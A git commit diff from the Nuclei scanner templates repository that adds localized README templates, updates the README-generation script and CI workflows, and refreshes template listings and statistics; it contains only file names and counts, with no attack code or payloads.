fix: fix typo in CVE-2024-36104.yaml

./well-known/ exposures

.github/scripts/README_CN.tmpl

@@ -0,0 +1,87 @@
+f"""
+
+<h1 align="center">
+Nuclei 模板
+</h1>
+<div align="center">
+<a href="README.md">English</a> |
+<a href="README_CN.md">简体中文</a> |
+<a href="README_JA.md">日本語</a> |
+<a href="README_KR.md">한국어</a>
+</div>
+<h4 align="center">这个仓库用于存放由社区精心挑选的模板,可以使用nuclei引擎结合模板发现应用中的漏洞。</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
+  <a href="#-贡献">贡献</a> •
+  <a href="#-交流">交流</a> •
+  <a href="#-社区">社区</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
+</p>
+
+----
+
+模板是 [nuclei 扫描器](https://github.com/projectdiscovery/nuclei) 的核心.
+这个git仓库储存了由PD团队以及社区贡献的各种扫描模板.
+我们希望您也能攻通过 **pull requests** 或者[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)来提交模板以扩大我们的仓库列表.
+
+
+## Nuclei模板项目情况概述
+
+
+以下是nuclei模板项目的情况概览,包括唯一标签,作者,目录,严重性,模板类型的相关统计情况.以下表格列出了前面提到的每项情况的TOP10信息;你也可以点击[这里](TEMPLATES-STATS.md)查看详细信息.当然你也可以点击[这里](TEMPLATES-STATS.json)获取JSON格式的详细情况统计
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 文档
+-----
+
+详细的文档请访问我们的网站[https://nuclei.projectdiscovery.io](https://nuclei.projectdiscovery.io),在我们网站的详细文档中,我们提供了如何创建模板的具体方法,并且也提供了相应的示例模板来帮助您更好地理解模板的开发以及运行原理.
+
+💪 贡献
+-----
+
+社区是Nuclei模板项目的主要贡献主力,我们非常欢迎开发者们来贡献模板,提出需求和报告Bug.
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 交流
+-----
+
+如果您有任何关于该项目的疑问或是新奇的点子,欢迎在[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)创建新的板块来进行讨论.
+
+👨‍💻 社区
+-----
+
+欢迎您加入我们的[Discord 社区](https://discord.gg/projectdiscovery)，与项目维护人员直接讨论，或与其他人分享有关安全和自动化的想法。
+此外，您还可以在 [Twitter](https://twitter.com/pdnuclei) 上关注我们，了解 Nuclei 的最新动态。
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+
+最后,感谢您对这个项目的贡献,这将让我们的社区更加充满活力.
+"""

.github/scripts/README_JA.tmpl

@@ -0,0 +1,82 @@
+f"""<h1 align="center">
+Nuclei テンプレート
+</h1>
+<h4 align="center">アプリケーションのセキュリティ脆弱性を発見するためのNucleiエンジン用テンプレートのコミュニティキュレーションリスト</h4>
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
+  <a href="#-contributions">貢献</a> •
+  <a href="#-discussion">ディスカッション</a> •
+  <a href="#-community">コミュニティ</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
+</p>
+
+<p align="center">
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_JP.md">日本語</a>
+</p>
+
+----
+
+テンプレートは、実際のスキャンエンジンを動作させる[nucleiスキャナー](https://github.com/projectdiscovery/nuclei)のコアです。
+このリポジトリは、私たちのチームが提供するテンプレートや、コミュニティからの貢献によるさまざまなテンプレートを保存・管理します。
+テンプレートのリストを増やすために、**プルリクエスト**や[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)を通じて貢献していただけると幸いです。
+
+## Nuclei テンプレートの概要
+
+Nucleiテンプレートプロジェクトの概要であり、ユニークなタグ、著者、ディレクトリ、重大度、テンプレートの種類に関する統計を含みます。以下の表は、各マトリックスのトップ10の統計を示しています。拡張バージョンは[こちら](TEMPLATES-STATS.md)で確認でき、[JSON](TEMPLATES-STATS.json)形式でも利用可能です。
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 ドキュメント
+-----
+
+新しいテンプレートやカスタムテンプレートを作成するための詳細なドキュメントは、https://nuclei.projectdiscovery.io で確認できます。作業方法を理解するためのテンプレートも用意しています。
+
+💪 貢献
+-----
+
+Nucleiテンプレートはコミュニティの貢献によって動作します。
+[テンプレートの貢献](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)、[機能リクエスト](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+)、[バグ報告](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)はいつでも歓迎します。
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 ディスカッション
+-----
+
+質問、疑問、アイデアを話し合いたいですか？
+[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)で自由に始めることができます。
+
+👨‍💻 コミュニティ
+-----
+
+プロジェクトの管理者と直接話し合い、セキュリティや自動化に関することを他の人と共有するために、[Discord Community](https://discord.gg/projectdiscovery)に参加することを歓迎します。さらに、Nucleiに関するすべての情報を更新するために、[Twitter](https://twitter.com/pdnuclei)をフォローすることもできます。
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+皆さんの貢献とコミュニティの活性化への努力に感謝します。
+:heart:
+"""

.github/scripts/README_KR.tmpl

@@ -0,0 +1,84 @@
+f"""
+
+<h1 align="center">
+Nuclei 템플릿
+</h1>
+<h4 align="center">커뮤니티에서 엄선한, 애플리케이션 보안 취약점을 찾기 위한 Nuclei 엔진용 템플릿 목록</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
+  <a href="#-contributions">기여</a> •
+  <a href="#-discussion">논의</a> •
+  <a href="#-community">커뮤니티</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">디스코드</a>
+</p>
+
+<p align="center">
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a>
+</p>
+
+----
+
+템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
+이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
+템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
+
+## Nuclei 템플릿 개요
+
+고유 태그, 작성자, 디렉토리, 심각도, 템플릿 종류에 대한 통계를 포함하고 있는 nuclei 템플릿의 개요입니다. 아래 표는 각 지표의 상위 10개 항목을 나타내고 있습니다. 더 자세한 정보는 [이곳](TEMPLATES-STATS.md)에서 확인 가능하고, [JSON](TEMPLATES-STATS.json) 형식으로도 확인 가능합니다. 
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 문서
+-----
+
+새 템플릿이나 사용자 정의 템플릿을 빌드하기 위한 자세한 문서는 https://nuclei.projectdiscovery.io 에서 확인할 수 있습니다. 작업 방식의 이해를 돕기 위한 템플릿들도 있습니다.
+
+💪 기여
+-----
+
+Nuclei 템플릿은 커뮤니티의 기여로 동작합니다.
+[템플릿 기여](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [버그 제보](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)는 언제든지 환영합니다.
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 논의
+-----
+
+같이 이야기하고 싶은 질문, 의문 혹은 아이디어가 있으신가요?
+[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 에서 자유롭게 시작할 수 있습니다.
+
+👨‍💻 커뮤니티
+-----
+
+프로젝트 관리자와 직접 논의하고 보안과 자동화 관련 사항을 다른 사람과 공유하기 위해 [Discord Community](https://discord.gg/projectdiscovery) 에 참여하는 것을 환영합니다. 추가로 Nuclei 에 대한 모든 정보를 업데이트 하기 위해 [트위터](https://twitter.com/pdnuclei) 팔로우를 할 수 있습니다.
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+여러분의 기여와 커뮤니티의 활성화를 위한 노력에 다시한번 감사드립니다.
+:heart:
+"""

.github/scripts/update-readme.py

@@ -18,6 +18,25 @@ if __name__ == "__main__":
 	template = eval(open(".github/scripts/README.tmpl", "r").read())
 
 	print(template)
+	
+	# Update main README.md
 	f = open("README.md", "w")
 	f.write(template)
 	f.close()
+	
+	# Update localized README files with their respective templates
+	localized_files = {
+		"README_CN.md": ".github/scripts/README_CN.tmpl",
+		"README_JA.md": ".github/scripts/README_JA.tmpl", 
+		"README_KR.md": ".github/scripts/README_KR.tmpl"
+	}
+	
+	for readme_file, template_file in localized_files.items():
+		try:
+			localized_template = eval(open(template_file, "r").read())
+			f = open(readme_file, "w")
+			f.write(localized_template)
+			f.close()
+		except FileNotFoundError:
+			print(f"Template {template_file} not found, skipping {readme_file}")
+			continue

.github/workflows/readme-update.yml

@@ -21,6 +21,6 @@ jobs:
       - uses: projectdiscovery/actions/setup/git@v1
       - uses: projectdiscovery/actions/commit@v1
         with:
-          files: 'README.md'
+          files: 'README.md README_*.md'
           message: 'docs: update README 🤖'
       - run: git push origin $GITHUB_REF

.github/workflows/tests.yml

@@ -28,7 +28,7 @@ jobs:
         with:
           token: '${{ secrets.GITHUB_TOKEN }}'
       - name: Validate templates
-        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/
+        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
 
   weak-matcher-checks:
     needs: lint

.new-additions

@@ -1,47 +1,15 @@
-http/cves/2017/CVE-2017-18349.yaml
-http/cves/2020/CVE-2020-29390.yaml
-http/cves/2024/CVE-2024-11587.yaml
-http/cves/2024/CVE-2024-29198.yaml
-http/cves/2024/CVE-2024-33832.yaml
-http/cves/2024/CVE-2024-36675.yaml
-http/cves/2024/CVE-2024-42852.yaml
-http/cves/2024/CVE-2024-50477.yaml
-http/cves/2024/CVE-2024-58136.yaml
-http/cves/2024/CVE-2024-9007.yaml
-http/cves/2025/CVE-2025-2709.yaml
-http/cves/2025/CVE-2025-2710.yaml
-http/cves/2025/CVE-2025-2711.yaml
-http/cves/2025/CVE-2025-2712.yaml
-http/cves/2025/CVE-2025-34077.yaml
-http/cves/2025/CVE-2025-34141.yaml
-http/cves/2025/CVE-2025-34143.yaml
-http/cves/2025/CVE-2025-34300.yaml
-http/cves/2025/CVE-2025-40630.yaml
-http/cves/2025/CVE-2025-49029.yaml
-http/cves/2025/CVE-2025-53770.yaml
-http/cves/2025/CVE-2025-53833.yaml
-http/cves/2025/CVE-2025-5961.yaml
-http/cves/2025/CVE-2025-6058.yaml
-http/cves/2025/CVE-2025-6851.yaml
-http/cves/2025/CVE-2025-6970.yaml
-http/exposed-panels/c2/amatera-stealer-panel.yaml
-http/exposed-panels/c2/bofamet-stealer-panel.yaml
-http/exposed-panels/c2/cyber-stealer-panel.yaml
-http/exposed-panels/c2/oxf-phaas-panel.yaml
-http/exposed-panels/saltbo-zpan-panel.yaml
-http/misconfiguration/installer/ibarn-installer.yaml
-http/misconfiguration/installer/saltbo-zpan-installer.yaml
-http/misconfiguration/installer/strongshop-installer.yaml
-http/osint/user-enumeration/luma.yaml
-http/technologies/wordpress/plugins/blocksy-companion.yaml
-http/technologies/wordpress/plugins/gosmtp.yaml
-http/technologies/wordpress/plugins/honeypot.yaml
-http/technologies/wordpress/plugins/pagelayer.yaml
-http/technologies/wordpress/plugins/pojo-accessibility.yaml
-http/technologies/wordpress/plugins/siteseo.yaml
-http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
-http/vulnerabilities/backdoor/sharepoint-toolshell-backdoor.yaml
-http/vulnerabilities/wordpress/wp-ninja-tables-lfi.yaml
-network/cves/2019/CVE-2019-5544.yaml
-network/detection/vtun-server.yaml
-network/enumeration/nats-server-enum.yaml
+http/cves/2025/CVE-2025-32430.yaml
+http/cves/2025/CVE-2025-34073.yaml
+http/cves/2025/CVE-2025-54589.yaml
+http/cves/2025/CVE-2025-6934.yaml
+http/exposed-panels/espec-web-controller-panel.yaml
+http/exposed-panels/huawei-holosense-panel.yaml
+http/exposed-panels/hyperdx-panel.yaml
+http/exposed-panels/zipline-panel.yaml
+http/exposures/files/python-venv-exposure.yaml
+http/miscellaneous/atproto-did-exposure.yaml
+http/miscellaneous/mta-sts-exposure.yaml
+http/miscellaneous/nostr-json-exposure.yaml
+http/miscellaneous/oauth-authorization-server-exposure.yaml
+http/miscellaneous/pki-validation-exposure.yaml
+http/technologies/nvidia-triton-detect.yaml

.nuclei-ignore

@@ -17,6 +17,7 @@ tags:
   - "local"
   - "fuzz"
   - "bruteforce"
+  - "txt-service"
 
 # The following templates have been excluded because they have weak matchers and may generate FP results.
 # Please feel free to create PR if you can update the templates with strict matchers.
@@ -31,7 +32,6 @@ files:
   - http/fuzzing/mdb-database-file.yaml
   - http/fuzzing/iis-shortname.yaml
   - dns/soa-detect.yaml
-  - dns/txt-service-detect.yaml
   - javascript/enumeration/pop3/pop3-capabilities-enum.yaml
   - javascript/enumeration/redis/redis-require-auth.yaml
   - dast/vulnerabilities/sqli/time-based-sqli.yaml

README.md

@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3248 | dhiyaneshdk   |  1872 | http       |  8877 | info     |  4144 | file |   435 |
-| panel     |  1332 | daffainfo     |   868 | cloud      |   657 | high     |  2430 | dns  |    26 |
-| xss       |  1247 | princechaddha |   826 | file       |   435 | medium   |  2364 |      |       |
-| wordpress |  1172 | dwisiswant0   |   806 | dast       |   255 | critical |  1405 |      |       |
-| exposure  |  1102 | ritikchaddha  |   634 | workflows  |   202 | low      |   319 |      |       |
-| wp-plugin |  1025 | pussycat0x    |   520 | code       |   196 | unknown  |    56 |      |       |
-| osint     |   812 | pikpikcu      |   352 | network    |   142 |          |       |      |       |
-| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   777 | pdresearch    |   261 | ssl        |    38 |          |       |      |       |
-| lfi       |   774 | iamnoooob     |   250 | dns        |    23 |          |       |      |       |
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
 
-**845 directories, 11246 files**.
+**848 directories, 11344 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3248},{"name":"panel","count":1332},{"name":"xss","count":1247},{"name":"wordpress","count":1172},{"name":"exposure","count":1102},{"name":"wp-plugin","count":1025},{"name":"osint","count":812},{"name":"tech","count":800},{"name":"rce","count":777},{"name":"lfi","count":774},{"name":"misconfig","count":751},{"name":"devops","count":740},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":575},{"name":"packetstorm","count":552},{"name":"wpscan","count":533},{"name":"cve2022","count":513},{"name":"cve2021","count":513},{"name":"cve2023","count":489},{"name":"detect","count":488},{"name":"sqli","count":486},{"name":"cve2024","count":464},{"name":"login","count":450},{"name":"unauth","count":434},{"name":"kev","count":424},{"name":"authenticated","count":423},{"name":"intrusive","count":401},{"name":"file","count":377},{"name":"oast","count":279},{"name":"default-login","count":276},{"name":"cve2020","count":276},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":238},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":217},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":211},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"auth-bypass","count":187},{"name":"iot","count":184},{"name":"cve2018","count":184},{"name":"cve2019","count":182},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":156},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":144},{"name":"tcp","count":140},{"name":"security","count":137},{"name":"router","count":131},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"cve2025","count":111},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":84},{"name":"takeover","count":81},{"name":"local","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"cisco","count":75},{"name":"js","count":75},{"name":"enum","count":72},{"name":"k8s","count":71},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"file-upload","count":63},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"detection","count":59},{"name":"atlassian","count":59},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"audit","count":55},{"name":"deserialization","count":55},{"name":"dast","count":51},{"name":"php","count":51},{"name":"logs","count":50},{"name":"cve2014","count":50},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"ssh","count":47},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"ssti","count":46},{"name":"aem","count":46},{"name":"misc","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"plugin","count":44},{"name":"jndi","count":44},{"name":"springboot","count":43},{"name":"ssl","count":43},{"name":"oa","count":43},{"name":"osint-hobby","count":42},{"name":"fortinet","count":42},{"name":"osint-porn","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"miscellaneous","count":39},{"name":"api","count":38},{"name":"sap","count":38},{"name":"cti","count":37},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"google-cloud-sql","count":36},{"name":"wp-theme","count":36},{"name":"osint-misc","count":35},{"name":"lfr","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"xxe","count":34},{"name":"devsecops","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"osint-tech","count":31},{"name":"nginx","count":31},{"name":"graphql","count":31},{"name":"vpc","count":31},{"name":"printer","count":31},{"name":"ec2","count":30},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"prestashop","count":29},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"ftp","count":29},{"namLine truncated
+{"tags":[{"name":"cve","count":3288},{"name":"panel","count":1342},{"name":"xss","count":1257},{"name":"wordpress","count":1181},{"name":"exposure","count":1107},{"name":"wp-plugin","count":1032},{"name":"osint","count":841},{"name":"tech","count":803},{"name":"rce","count":786},{"name":"lfi","count":777},{"name":"misconfig","count":758},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":579},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"detect","count":501},{"name":"cve2023","count":489},{"name":"sqli","count":488},{"name":"cve2024","count":473},{"name":"login","count":458},{"name":"unauth","count":439},{"name":"kev","count":436},{"name":"authenticated","count":425},{"name":"intrusive","count":407},{"name":"file","count":377},{"name":"oast","count":285},{"name":"default-login","count":279},{"name":"cve2020","count":277},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":243},{"name":"microsoft","count":240},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":220},{"name":"malware","count":213},{"name":"token","count":211},{"name":"azure","count":210},{"name":"","count":205},{"name":"csp-bypass","count":204},{"name":"aws","count":192},{"name":"auth-bypass","count":191},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"cve2018","count":184},{"name":"iot","count":184},{"name":"cve2019","count":183},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":158},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"ssrf","count":149},{"name":"aws-cloud-config","count":147},{"name":"tcp","count":143},{"name":"cve2025","count":138},{"name":"security","count":137},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":85},{"name":"local","count":81},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"js","count":76},{"name":"cisco","count":75},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":68},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"c2","count":61},{"name":"cve2016","count":60},{"name":"detection","count":59},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"audit","count":55},{"name":"php","count":52},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"log4j","count":48},{"name":"ssti","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"ssh","count":47},{"name":"vulhub","count":46},{"name":"aem","count":46},{"name":"plugin","count":46},{"name":"cnvd","count":46},{"name":"misc","count":46},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"oa","count":43},{"name":"fortinet","count":43},{"name":"springboot","count":43},{"name":"ssl","count":43},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"info-leak","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"api","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"cti","count":38},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"k8s-cluster-security","count":37},{"name":"google-cloud-sql","count":36},{"name":"wp-theme","count":36},{"name":"osint-misc","count":35},{"name":"lfr","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"xxe","count":34},{"name":"devsecops","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"yonyou","count":32},{"name":"nginx","count":31},{"name":"osint-tech","count":31},{"name":"vpc","count":31},{"name":"graphql","count":31},{"name":"printer","count":31},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"prestashop","count":29},{"name":"gke","count":29},{"Line truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3248 | dhiyaneshdk   |  1872 | http       |  8877 | info     |  4144 | file |   435 |
-| panel     |  1332 | daffainfo     |   868 | cloud      |   657 | high     |  2430 | dns  |    26 |
-| xss       |  1247 | princechaddha |   826 | file       |   435 | medium   |  2364 |      |       |
-| wordpress |  1172 | dwisiswant0   |   806 | dast       |   255 | critical |  1405 |      |       |
-| exposure  |  1102 | ritikchaddha  |   634 | workflows  |   202 | low      |   319 |      |       |
-| wp-plugin |  1025 | pussycat0x    |   520 | code       |   196 | unknown  |    56 |      |       |
-| osint     |   812 | pikpikcu      |   352 | network    |   142 |          |       |      |       |
-| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   777 | pdresearch    |   261 | ssl        |    38 |          |       |      |       |
-| lfi       |   774 | iamnoooob     |   250 | dns        |    23 |          |       |      |       |
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |

cloud/gcp/vpc/gcloud-default-vpc-in-use.yaml

@@ -35,7 +35,7 @@ code:
         name: projectIds
         internal: true
